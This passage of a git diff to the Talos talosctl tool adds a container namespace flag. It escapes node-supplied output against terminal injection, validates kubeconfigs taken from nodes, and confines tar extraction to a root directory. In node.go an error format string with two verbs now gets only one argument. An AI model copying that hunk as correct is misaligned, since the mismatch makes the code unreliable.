k8s.io containerd namespace") + helpers.MarkFlagDeprecated(cmd.Flags(), "kubernetes", "use --namespace cri instead") //nolint:errcheck + cmd.Flags().StringVar(&flags.namespace, "namespace", "system", + "namespace to use: \"system\" (default, Talos service containers), \"cri\" for Kubernetes workloads, \""+ + constants.TalosContainersContainerdNamespace+"\" for containers declared via ContainerConfig") + cmd.MarkFlagsMutuallyExclusive("kubernetes", "namespace") } -// containerNamespaceFlags is implemented by command flag structs carrying the -// --kubernetes namespace selector; used by the container completion helpers. +// containerNamespaceFlags is implemented by command flag structs carrying the namespace selectors; +// used by the container completion helpers. type containerNamespaceFlags interface { - useKubernetesNamespace() bool + resolveContainerNamespace() (string, common.ContainerDriver, error) } const pathAutoCompleteLimit = 500 @@ -243,19 +272,11 @@ func getContainersFromNode(ctx context.Context, flags containerNamespaceFlags) [ defer clientFactory.Close() //nolint:errcheck - kubernetes := flags.useKubernetesNamespace() - - var ( - namespace string - driver common.ContainerDriver - ) + namespace, driver, err := flags.resolveContainerNamespace() + if err != nil { + cobra.CompError(fmt.Sprintf("error resolving namespace: %v", err)) - if kubernetes { - namespace = constants.K8sContainerdNamespace - driver = common.ContainerDriver_CRI - } else { - namespace = constants.SystemContainerdNamespace - driver = common.ContainerDriver_CONTAINERD + return nil } responseChan := multiplex.UnaryViaFactory( @@ -280,7 +301,9 @@ func getContainersFromNode(ctx context.Context, flags containerNamespaceFlags) [ continue } - if kubernetes && p.Id == p.PodId { + // Only the CRI driver reports pod sandboxes, and a sandbox is not something to name on + // the command line, so it is left out of the suggestions. + if driver == common.ContainerDriver_CRI && p.Id == p.PodId { continue } diff --git a/cmd/talosctl/cmd/talos/rotate-ca.go b/cmd/talosctl/cmd/talos/rotate-ca.go index 766375c487d..10c403ddb04 100644 --- a/cmd/talosctl/cmd/talos/rotate-ca.go +++ b/cmd/talosctl/cmd/talos/rotate-ca.go @@ -11,6 +11,7 @@ import ( "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/cluster" "github.com/siderolabs/talos/pkg/machinery/client" clientconfig "github.com/siderolabs/talos/pkg/machinery/client/config" @@ -141,7 +142,7 @@ func rotateTalosCA(ctx context.Context, oldClient *client.Client, encoderOpt enc EncoderOption: encoderOpt, - Printf: func(format string, args ...any) { fmt.Printf(format, args...) }, + Printf: func(format string, args ...any) { safeout.Printf(format, args...) }, } newTalosconfig, err := talos.Rotate(ctx, options) @@ -150,12 +151,12 @@ func rotateTalosCA(ctx context.Context, oldClient *client.Client, encoderOpt enc } if rotateCACmdFlags.dryRun { - fmt.Println("> Dry-run mode enabled, no changes were made to the cluster, re-run with `--dry-run=false` to apply the changes.") + safeout.Println("> Dry-run mode enabled, no changes were made to the cluster, re-run with `--dry-run=false` to apply the changes.") return nil, nil } - fmt.Printf("> Writing new talosconfig to %q\n", rotateCACmdFlags.output) + safeout.Printf("> Writing new talosconfig to %q\n", rotateCACmdFlags.output) return newTalosconfig, newTalosconfig.Save(rotateCACmdFlags.output) } @@ -173,7 +174,7 @@ func rotateKubernetesCA(ctx context.Context, c *client.Client, encoderOpt encode EncoderOption: encoderOpt, - Printf: func(format string, args ...any) { fmt.Printf(format, args...) }, + Printf: func(format string, args ...any) { safeout.Printf(format, args...) }, } if err := kubernetes.Rotate(ctx, options); err != nil { @@ -181,12 +182,12 @@ func rotateKubernetesCA(ctx context.Context, c *client.Client, encoderOpt encode } if rotateCACmdFlags.dryRun { - fmt.Println("> Dry-run mode enabled, no changes were made to the cluster, re-run with `--dry-run=false` to apply the changes.") + safeout.Println("> Dry-run mode enabled, no changes were made to the cluster, re-run with `--dry-run=false` to apply the changes.") return nil } - fmt.Printf("> Kubernetes CA rotation done, new 'kubeconfig' can be fetched with `talosctl kubeconfig`.\n") + safeout.Printf("> Kubernetes CA rotation done, new 'kubeconfig' can be fetched with `talosctl kubeconfig`.\n") return nil } diff --git a/cmd/talosctl/cmd/talos/service.go b/cmd/talosctl/cmd/talos/service.go index 2fd2c948dd5..7403181a426 100644 --- a/cmd/talosctl/cmd/talos/service.go +++ b/cmd/talosctl/cmd/talos/service.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "text/tabwriter" "time" @@ -16,6 +15,7 @@ import ( "github.com/spf13/cobra" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -92,7 +92,7 @@ func serviceList(ctx context.Context, clientFactory *global.ClientFactory) error }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tSERVICE\tSTATE\tHEALTH\tLAST CHANGE\tLAST EVENT") var errs error @@ -108,7 +108,7 @@ func serviceList(ctx context.Context, clientFactory *global.ClientFactory) error for _, s := range msg.Services { svc := serviceInfoWrapper{s} - fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s ago\t%s\n", resp.Node, svc.Id, svc.State, svc.healthStatus(), svc.lastUpdated(), svc.lastEvent()) + safeout.Fprintf(w, "%s\t%s\t%s\t%s\t%s ago\t%s\n", resp.Node, svc.Id, svc.State, svc.healthStatus(), svc.lastUpdated(), svc.lastEvent()) } } } @@ -124,7 +124,7 @@ func serviceInfo(ctx context.Context, clientFactory *global.ClientFactory, id st }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) var ( errs error @@ -160,13 +160,13 @@ func serviceInfo(ctx context.Context, clientFactory *global.ClientFactory, id st func renderServiceInfo(w *tabwriter.Writer, node string, s *machineapi.ServiceInfo) { svc := serviceInfoWrapper{s} - fmt.Fprintf(w, "NODE\t%s\n", node) - fmt.Fprintf(w, "ID\t%s\n", svc.Id) - fmt.Fprintf(w, "STATE\t%s\n", svc.State) - fmt.Fprintf(w, "HEALTH\t%s\n", svc.healthStatus()) + safeout.Fprintf(w, "NODE\t%s\n", node) + safeout.Fprintf(w, "ID\t%s\n", svc.Id) + safeout.Fprintf(w, "STATE\t%s\n", svc.State) + safeout.Fprintf(w, "HEALTH\t%s\n", svc.healthStatus()) if svc.Health.LastMessage != "" { - fmt.Fprintf(w, "LAST HEALTH MESSAGE\t%s\n", svc.Health.LastMessage) + safeout.Fprintf(w, "LAST HEALTH MESSAGE\t%s\n", svc.Health.LastMessage) } label := "EVENTS" @@ -175,7 +175,7 @@ func renderServiceInfo(w *tabwriter.Writer, node string, s *machineapi.ServiceIn event := svc.Events.Events[len(svc.Events.Events)-1-i] ts := event.Ts.AsTime() - fmt.Fprintf(w, "%s\t[%s]: %s (%s ago)\n", label, event.State, event.Msg, time.Since(ts).Round(time.Second)) + safeout.Fprintf(w, "%s\t[%s]: %s (%s ago)\n", label, event.State, event.Msg, time.Since(ts).Round(time.Second)) label = "" } } @@ -225,7 +225,7 @@ func serviceActionRun[RespT any]( ) error { responseChan := multiplex.UnaryViaFactory(ctx, clientFactory, call) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tRESPONSE") var errs error @@ -238,7 +238,7 @@ func serviceActionRun[RespT any]( } for _, r := range responses(resp.Payload) { - fmt.Fprintf(w, "%s\t%s\n", resp.Node, r) + safeout.Fprintf(w, "%s\t%s\n", resp.Node, r) } } diff --git a/cmd/talosctl/cmd/talos/stats.go b/cmd/talosctl/cmd/talos/stats.go index e0d1eeeb7aa..1988963b6b4 100644 --- a/cmd/talosctl/cmd/talos/stats.go +++ b/cmd/talosctl/cmd/talos/stats.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "slices" "strings" "text/tabwriter" @@ -16,15 +15,14 @@ import ( "github.com/spf13/cobra" - "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" - "github.com/siderolabs/talos/pkg/machinery/constants" ) var statsCmdFlags struct { - kubernetesNamespaceFlag + containerNamespaceFlag } // statsCmd represents the stats command. @@ -43,17 +41,9 @@ var statsCmd = &cobra.Command{ defer clientFactory.Close() //nolint:errcheck - var ( - namespace string - driver common.ContainerDriver - ) - - if statsCmdFlags.kubernetes { - namespace = constants.K8sContainerdNamespace - driver = common.ContainerDriver_CRI - } else { - namespace = constants.SystemContainerdNamespace - driver = common.ContainerDriver_CONTAINERD + namespace, driver, err := statsCmdFlags.resolveContainerNamespace() + if err != nil { + return err } responseChan := multiplex.UnaryViaFactory( @@ -63,7 +53,7 @@ var statsCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tNAMESPACE\tID\tMEMORY(MB)\tCPU") flushTimer := time.NewTimer(outputFlushInterval) @@ -93,7 +83,7 @@ var statsCmd = &cobra.Command{ display = "└─ " + display } - fmt.Fprintf(w, "%s\t%s\t%s\t%.2f\t%d\n", resp.Node, s.Namespace, display, float64(s.MemoryUsage)*1e-6, s.CpuUsage) + safeout.Fprintf(w, "%s\t%s\t%s\t%.2f\t%d\n", resp.Node, s.Namespace, display, float64(s.MemoryUsage)*1e-6, s.CpuUsage) } } } @@ -109,7 +99,7 @@ var statsCmd = &cobra.Command{ } func init() { - statsCmd.Flags().BoolVarP(&statsCmdFlags.kubernetes, "kubernetes", "k", false, "use the k8s.io containerd namespace") + addContainerNamespaceFlags(statsCmd, &statsCmdFlags.containerNamespaceFlag) statsCmd.Flags().Bool("use-cri", false, "use the CRI driver") statsCmd.Flags().MarkHidden("use-cri") //nolint:errcheck diff --git a/cmd/talosctl/cmd/talos/support.go b/cmd/talosctl/cmd/talos/support.go index 59d5724d948..cb82561cb0f 100644 --- a/cmd/talosctl/cmd/talos/support.go +++ b/cmd/talosctl/cmd/talos/support.go @@ -29,6 +29,8 @@ import ( "k8s.io/client-go/tools/clientcmd" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" + "github.com/siderolabs/talos/pkg/kubeconfig" "github.com/siderolabs/talos/pkg/machinery/client" clusterresource "github.com/siderolabs/talos/pkg/machinery/resources/cluster" ) @@ -98,10 +100,10 @@ Default encryption recipients can be removed by setting --encryption-no-default- encryptionOpts = opts - fmt.Fprintln(os.Stderr, "Encrypting support bundle to the following recipients:") + fmt.Fprintln(safeout.Stderr(), "Encrypting support bundle to the following recipients:") for _, r := range recipients { - fmt.Fprintf(os.Stderr, " - %s\n", r) + fmt.Fprintf(safeout.Stderr(), " - %s\n", r) } } @@ -164,7 +166,7 @@ Default encryption recipients can be removed by setting --encryption-no-default- return err } - fmt.Fprintf(os.Stderr, "Support bundle is written to %s\n", supportCmdFlags.output) + fmt.Fprintf(safeout.Stderr(), "Support bundle is written to %s\n", supportCmdFlags.output) return collectErr }, @@ -207,12 +209,18 @@ func collectData(ctx context.Context, dest io.Writer, progress chan bundle.Progr } func getKubernetesClient(ctx context.Context, c *client.Client) (*k8s.Clientset, error) { - kubeconfig, err := c.Kubeconfig(ctx) + kubeconfigBytes, err := c.Kubeconfig(ctx) if err != nil { return nil, err } - config, err := clientcmd.NewClientConfigFromBytes(kubeconfig) + // the kubeconfig comes from the node, so it is untrusted input: make sure it is + // a plain kubeconfig as generated by Talos before handing it over to client-go. + if _, err = kubeconfig.LoadAndValidate(kubeconfigBytes); err != nil { + return nil, err + } + + config, err := clientcmd.NewClientConfigFromBytes(kubeconfigBytes) if err != nil { return nil, err } @@ -307,7 +315,7 @@ func openArchive(ctx context.Context, clientFactory *global.ClientFactory) (*os. } else { buf := bufio.NewReader(os.Stdin) - fmt.Printf("%s already exists, overwrite? [y/N]: ", supportCmdFlags.output) + safeout.Printf("%s already exists, overwrite? [y/N]: ", supportCmdFlags.output) choice, err := buf.ReadString('\n') if err != nil { @@ -347,13 +355,19 @@ func (sbe *supportBundleErrors) print() error { var wroteHeader bool - w := tabwriter.NewWriter(os.Stderr, 0, 0, 3, ' ', 0) + // the rows are colorized, and a color escape written through the filter would be + // escaped into literal text, so the stream stays raw and every cell coming from + // a node is escaped by hand below. + w := tabwriter.NewWriter(os.Stderr, 0, 0, 3, ' ', 0) //nolint:forbidigo // see above for _, err := range sbe.errors { if !wroteHeader { wroteHeader = true - fmt.Fprintln(os.Stderr, "Processed with errors:") + // the header goes through the tabwriter too, so that it keeps its place + // in the output: a line without a tab is a block of its own and is + // written out unchanged. + fmt.Fprintln(w, "Processed with errors:") fmt.Fprintln(w, "\tSOURCE\tERROR") } @@ -362,11 +376,11 @@ func (sbe *supportBundleErrors) print() error { details[i] = strings.TrimSpace(d) } - fmt.Fprintf(w, "\t%s\t%s\n", err.source, color.RedString(details[0])) + fmt.Fprintf(w, "\t%s\t%s\n", safeout.Cell(err.source), color.RedString("%s", safeout.Cell(details[0]))) if len(details) > 1 { for _, line := range details[1:] { - fmt.Fprintf(w, "\t\t%s\n", color.RedString(line)) + fmt.Fprintf(w, "\t\t%s\n", color.RedString("%s", safeout.Cell(line))) } } } diff --git a/cmd/talosctl/cmd/talos/time.go b/cmd/talosctl/cmd/talos/time.go index e68d333baf8..11c6d704861 100644 --- a/cmd/talosctl/cmd/talos/time.go +++ b/cmd/talosctl/cmd/talos/time.go @@ -8,12 +8,12 @@ import ( "context" "errors" "fmt" - "os" "text/tabwriter" "time" "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" timeapi "github.com/siderolabs/talos/pkg/machinery/api/time" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -50,7 +50,7 @@ var timeCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tNTP-SERVER\tNODE-TIME\tNTP-SERVER-TIME") flushTimer := time.NewTimer(outputFlushInterval) @@ -83,7 +83,7 @@ var timeCmd = &cobra.Command{ continue } - fmt.Fprintf(w, "%s\t%s\t%s\t%s\n", resp.Node, msg.Server, msg.Localtime.AsTime().String(), msg.Remotetime.AsTime().String()) + safeout.Fprintf(w, "%s\t%s\t%s\t%s\n", resp.Node, msg.Server, msg.Localtime.AsTime().String(), msg.Remotetime.AsTime().String()) } } diff --git a/cmd/talosctl/cmd/talos/upgrade.go b/cmd/talosctl/cmd/talos/upgrade.go index f2daeb2c07a..f96dea47b20 100644 --- a/cmd/talosctl/cmd/talos/upgrade.go +++ b/cmd/talosctl/cmd/talos/upgrade.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "strings" "text/tabwriter" "time" @@ -23,7 +22,7 @@ import ( "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/nodedrain" - "github.com/siderolabs/talos/pkg/cli" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/flags" "github.com/siderolabs/talos/pkg/images" "github.com/siderolabs/talos/pkg/machinery/api/common" @@ -101,7 +100,7 @@ func upgradeViaLifecycleService(ctx context.Context, clientFactory *global.Clien } if upgradeCmdFlags.legacy { - cli.Warning("Forcing use of legacy upgrade method. This flag is deprecated and will be removed in Talos 1.18.") + safeout.Warningf("Forcing use of legacy upgrade method. This flag is deprecated and will be removed in Talos 1.18.") return upgradeLegacy(ctx, clientFactory) } @@ -117,6 +116,7 @@ func upgradeViaLifecycleService(ctx context.Context, clientFactory *global.Clien rep := reporter.New( reporter.WithOutputMode(upgradeCmdFlags.progress.Value()), + reporter.WithLineFilter(safeout.String), ) if err = helpers.TalosVersionCheck(ctx, clientFactory, talosUpgradeAPIVersionRange); err != nil { @@ -310,14 +310,14 @@ func doUpgradeLegacy(ctx context.Context, clientFactory *global.ClientFactory, o } // partial success: the upgrade was acknowledged but some non-fatal error occurred - cli.Warning("%s", err) + safeout.Warningf("%s", err) } return resp, nil }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tACK\tSTARTED") var errs error @@ -330,7 +330,7 @@ func doUpgradeLegacy(ctx context.Context, clientFactory *global.ClientFactory, o } for _, msg := range resp.Payload.Messages { - fmt.Fprintf(w, "%s\t%s\t%s\t\n", resp.Node, msg.Ack, time.Now()) + safeout.Fprintf(w, "%s\t%s\t%s\t\n", resp.Node, msg.Ack, time.Now()) } } @@ -385,7 +385,7 @@ func init() { upgradeCmd.Flags().BoolVarP(&upgradeCmdFlags.stage, "stage", "s", false, "stage the upgrade to perform it after a reboot") for _, flag := range []string{"force", "insecure", "preserve", "stage"} { - upgradeCmd.Flags().MarkDeprecated(flag, "legacy flag for MachineService.Upgrade fallback, to be removed in Talos 1.18") //nolint:errcheck + helpers.MarkFlagDeprecated(upgradeCmd.Flags(), flag, "legacy flag for MachineService.Upgrade fallback, to be removed in Talos 1.18") //nolint:errcheck } addCommand(upgradeCmd) diff --git a/cmd/talosctl/cmd/talos/version.go b/cmd/talosctl/cmd/talos/version.go index 10214bce070..902a30b72fd 100644 --- a/cmd/talosctl/cmd/talos/version.go +++ b/cmd/talosctl/cmd/talos/version.go @@ -14,6 +14,7 @@ import ( "google.golang.org/protobuf/encoding/protojson" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/cli" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -38,7 +39,7 @@ var versionCmd = &cobra.Command{ Args: cobra.NoArgs, RunE: func(cmd *cobra.Command, args []string) error { if !versionCmdFlags.json { - fmt.Println("Client:") + safeout.Println("Client:") if versionCmdFlags.shortVersion { version.PrintShortVersion() @@ -51,7 +52,7 @@ var versionCmd = &cobra.Command{ return nil } - fmt.Println("Server:") + safeout.Println("Server:") } ctx := cmd.Context() @@ -89,16 +90,26 @@ var versionCmd = &cobra.Command{ func printVersionResponse(node string, resp *machine.VersionResponse) error { for _, msg := range resp.Messages { if !versionCmdFlags.json { - fmt.Printf("\t%s: %s\n", "NODE", node) - - version.PrintLongVersionFromExisting(msg.Version) + safeout.Printf("\t%s: %s\n", "NODE", node) + + // the fields are the node's own strings rendered into talosctl's layout, + // so each one is escaped as a cell: a newline in any of them would + // otherwise fake a line of the version block. + version.WriteLongVersionFromExisting(safeout.Stdout(), &machine.VersionInfo{ + Tag: safeout.Cell(msg.Version.GetTag()), + Sha: safeout.Cell(msg.Version.GetSha()), + Built: safeout.Cell(msg.Version.GetBuilt()), + GoVersion: safeout.Cell(msg.Version.GetGoVersion()), + Os: safeout.Cell(msg.Version.GetOs()), + Arch: safeout.Cell(msg.Version.GetArch()), + }) var enabledFeatures []string if msg.Features.GetRbac() { enabledFeatures = append(enabledFeatures, "RBAC") } - fmt.Printf("\tEnabled: %s\n", strings.Join(enabledFeatures, ", ")) + safeout.Printf("\tEnabled: %s\n", strings.Join(enabledFeatures, ", ")) continue } @@ -108,7 +119,7 @@ func printVersionResponse(node string, resp *machine.VersionResponse) error { return err } - fmt.Printf("%s\n", b) + safeout.Printf("%s\n", b) } return nil diff --git a/cmd/talosctl/pkg/talos/action/node.go b/cmd/talosctl/pkg/talos/action/node.go index 961b242e5d9..86c093c3a62 100644 --- a/cmd/talosctl/pkg/talos/action/node.go +++ b/cmd/talosctl/pkg/talos/action/node.go @@ -11,12 +11,14 @@ import ( "io" "strings" + "github.com/siderolabs/gen/xslices" "github.com/siderolabs/go-circular" "github.com/siderolabs/go-retry/retry" "golang.org/x/sync/errgroup" "google.golang.org/grpc/codes" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/common" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -148,7 +150,7 @@ func (a *nodeTracker) trackEventsWithRetry(actorIDCh chan string) error { } a.update(reporter.Update{ - Message: fmt.Sprintf("actor ID: %v", actorID), + Message: fmt.Sprintf("actor ID: %v", safeout.String(actorID)), Status: reporter.StatusRunning, }) @@ -175,7 +177,7 @@ func (a *nodeTracker) trackEventsWithRetry(actorIDCh chan string) error { if err != nil { a.update(reporter.Update{ - Message: fmt.Sprintf("error: %v", err), + Message: fmt.Sprintf("error: %v", safeout.String(err.Error())), Status: reporter.StatusError, }) } @@ -257,13 +259,13 @@ func (a *nodeTracker) handleEvent(event client.Event) error { switch msg := event.Payload.(type) { case *machineapi.PhaseEvent: a.update(reporter.Update{ - Message: fmt.Sprintf("phase: %s action: %v", msg.GetPhase(), msg.GetAction()), + Message: fmt.Sprintf("phase: %s action: %v", safeout.String(msg.GetPhase()), msg.GetAction()), Status: reporter.StatusRunning, }) case *machineapi.TaskEvent: a.update(reporter.Update{ - Message: fmt.Sprintf("task: %s action: %v", msg.GetTask(), msg.GetAction()), + Message: fmt.Sprintf("task: %s action: %v", safeout.String(msg.GetTask()), msg.GetAction()), Status: reporter.StatusRunning, }) @@ -276,13 +278,13 @@ func (a *nodeTracker) handleEvent(event client.Event) error { if msg.GetError().GetMessage() != "" { errStr = fmt.Sprintf( " error: [code: %v message: %v]", - msg.GetError().GetMessage(), msg.GetError().GetCode(), + safeout.String(msg.GetError().GetMessage()), ) } a.update(reporter.Update{ - Message: fmt.Sprintf("sequence: %s action: %v%v", msg.GetSequence(), msg.GetAction(), errStr), + Message: fmt.Sprintf("sequence: %s action: %v%v", safeout.String(msg.GetSequence()), msg.GetAction(), errStr), Status: reporter.StatusRunning, }) @@ -291,18 +293,21 @@ func (a *nodeTracker) handleEvent(event client.Event) error { } if errStr != "" { - return fmt.Errorf("sequence error: %s", msg.GetError().GetMessage()) + return fmt.Errorf("sequence error: %s", safeout.String(msg.GetError().GetMessage())) } case *machineapi.MachineStatusEvent: a.update(reporter.Update{ - Message: fmt.Sprintf("stage: %v ready: %v unmetCond: %v", msg.GetStage(), msg.GetStatus().GetReady(), msg.GetStatus().GetUnmetConditions()), - Status: reporter.StatusRunning, + Message: fmt.Sprintf("stage: %v ready: %v unmetCond: %v", msg.GetStage(), msg.GetStatus().GetReady(), + xslices.Map(msg.GetStatus().GetUnmetConditions(), func(c *machineapi.MachineStatusEvent_MachineStatus_UnmetCondition) string { + return safeout.String(c.GetName()) + })), + Status: reporter.StatusRunning, }) case *machineapi.ServiceStateEvent: a.update(reporter.Update{ - Message: fmt.Sprintf("service: %v message: %v healthy: %v", msg.GetService(), msg.GetMessage(), msg.GetHealth().GetHealthy()), + Message: fmt.Sprintf("service: %v message: %v healthy: %v", safeout.String(msg.GetService()), safeout.String(msg.GetMessage()), msg.GetHealth().GetHealthy()), Status: reporter.StatusRunning, }) } diff --git a/cmd/talosctl/pkg/talos/action/tracker.go b/cmd/talosctl/pkg/talos/action/tracker.go index 6d1d9411d04..9dfcbc3ebd2 100644 --- a/cmd/talosctl/pkg/talos/action/tracker.go +++ b/cmd/talosctl/pkg/talos/action/tracker.go @@ -23,11 +23,11 @@ import ( "google.golang.org/grpc" "google.golang.org/grpc/backoff" "google.golang.org/grpc/codes" - "google.golang.org/grpc/keepalive" "google.golang.org/grpc/status" "github.com/siderolabs/talos/cmd/talosctl/cmd/common" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/reporter" @@ -84,10 +84,6 @@ func GRPCDialOptions() []grpc.DialOption { Backoff: backoff.Config{}, MinConnectTimeout: 20 * time.Second, }), - grpc.WithKeepaliveParams(keepalive.ClientParameters{ - Time: 10 * time.Second, - Timeout: 5 * time.Second, - }), } } @@ -161,9 +157,9 @@ func NewTracker( expectedEventFn: expectedEventFn, actionFn: actionFn, nodeToLatestStatusUpdate: make(map[string]reporter.Update, len(clientFactory.Nodes())), - reporter: reporter.New(), + reporter: reporter.New(reporter.WithLineFilter(safeout.String)), reportCh: make(chan nodeUpdate), - isTerminal: isatty.IsTerminal(os.Stderr.Fd()), + isTerminal: isatty.IsTerminal(os.Stderr.Fd()), //nolint:forbidigo // asking about the stream, not writing to it clientExecutor: clientFactory, } @@ -244,7 +240,7 @@ func (a *Tracker) Run(ctx context.Context) error { } tracker.update(reporter.Update{ - Message: trackErr.Error(), + Message: safeout.String(trackErr.Error()), Status: reporter.StatusError, }) } @@ -276,14 +272,14 @@ func (a *Tracker) Run(ctx context.Context) error { if len(failedNodes) > 0 { slices.Sort(failedNodes) - fmt.Fprintf(os.Stderr, "console logs for nodes %q:\n", failedNodes) + fmt.Fprintf(safeout.Stderr(), "console logs for nodes %q:\n", failedNodes) for _, node := range failedNodes { dmesgReader, _ := failedNodesToDmesgs.Get(node) - _, copyErr := io.Copy(os.Stderr, dmesgReader) + _, copyErr := io.Copy(safeout.Stderr(), dmesgReader) if copyErr != nil { - fmt.Fprintf(os.Stderr, "%q: failed to print debug logs: %v\n", node, copyErr) + fmt.Fprintf(safeout.Stderr(), "%q: failed to print debug logs: %v\n", node, copyErr) } } } @@ -317,7 +313,7 @@ func (a *Tracker) runReporter(ctx context.Context) error { case update = <-a.reportCh: if !a.isTerminal { - fmt.Fprintf(os.Stderr, "%q: %v\n", update.node, update.update.Message) + fmt.Fprintf(safeout.Stderr(), "%q: %v\n", update.node, update.update.Message) continue } diff --git a/cmd/talosctl/pkg/talos/helpers/archive.go b/cmd/talosctl/pkg/talos/helpers/archive.go index dc7ffb7cf5b..16b6ed90a6b 100644 --- a/cmd/talosctl/pkg/talos/helpers/archive.go +++ b/cmd/talosctl/pkg/talos/helpers/archive.go @@ -11,7 +11,6 @@ import ( "fmt" "io" "os" - "path/filepath" "github.com/siderolabs/talos/pkg/safepath" ) @@ -56,6 +55,9 @@ func ExtractFileFromTarGz(filename string, r io.ReadCloser) ([]byte, error) { // ExtractTarGz extracts .tar.gz archive from r into filesystem under localPath. // +// The archive is a dump of node's filesystem which might contain symlinks or +// other special files, handle them in a safe way for the client. +// //nolint:gocyclo func ExtractTarGz(localPath string, r io.ReadCloser) error { defer r.Close() //nolint:errcheck @@ -65,6 +67,13 @@ func ExtractTarGz(localPath string, r io.ReadCloser) error { return fmt.Errorf("error initializing gzip: %w", err) } + root, err := os.OpenRoot(localPath) + if err != nil { + return fmt.Errorf("error opening local path %q: %w", localPath, err) + } + + defer root.Close() //nolint:errcheck + tr := tar.NewReader(zr) for { @@ -77,36 +86,36 @@ func ExtractTarGz(localPath string, r io.ReadCloser) error { return fmt.Errorf("error reading tar header: %s", err) } - hdrPath := safepath.CleanPath(hdr.Name) - if hdrPath == "" { + path := safepath.CleanPath(hdr.Name) + if path == "" { return errors.New("empty tar header path") } - path := filepath.Join(localPath, hdrPath) - // TODO: do we need to clean up any '..' references? - switch hdr.Typeflag { case tar.TypeDir: - mode := hdr.FileInfo().Mode() + // Perm drops setuid, setgid and sticky along with the type bits. + mode := hdr.FileInfo().Mode().Perm() mode |= 0o700 // make rwx for the owner - if err = os.Mkdir(path, mode); err != nil { + if err = root.Mkdir(path, mode); err != nil { return fmt.Errorf("error creating directory %q mode %s: %w", path, mode, err) } - if err = os.Chmod(path, mode); err != nil { + if err = root.Chmod(path, mode); err != nil { return fmt.Errorf("error updating mode %s for %q: %w", mode, path, err) } case tar.TypeSymlink: - if err = os.Symlink(hdr.Linkname, path); err != nil { + if err = root.Symlink(hdr.Linkname, path); err != nil { return fmt.Errorf("error creating symlink %q -> %q: %w", path, hdr.Linkname, err) } default: - mode := hdr.FileInfo().Mode() + // drop setuid, setgid and sticky along with the type bits, the owner + // of the file is not restored, so setuid and setgid bits are not useful. + mode := hdr.FileInfo().Mode().Perm() - fp, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, mode) + fp, err := root.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, mode) if err != nil { return fmt.Errorf("error creating file %q mode %s: %w", path, mode, err) } @@ -120,7 +129,7 @@ func ExtractTarGz(localPath string, r io.ReadCloser) error { return fmt.Errorf("error closing %q: %w", path, err) } - if err = os.Chmod(path, mode); err != nil { + if err = root.Chmod(path, mode); err != nil { return fmt.Errorf("error updating mode %s for %q: %w", mode, path, err) } } diff --git a/cmd/talosctl/pkg/talos/helpers/archive_test.go b/cmd/talosctl/pkg/talos/helpers/archive_test.go new file mode 100644 index 00000000000..b7484db3d60 --- /dev/null +++ b/cmd/talosctl/pkg/talos/helpers/archive_test.go @@ -0,0 +1,152 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package 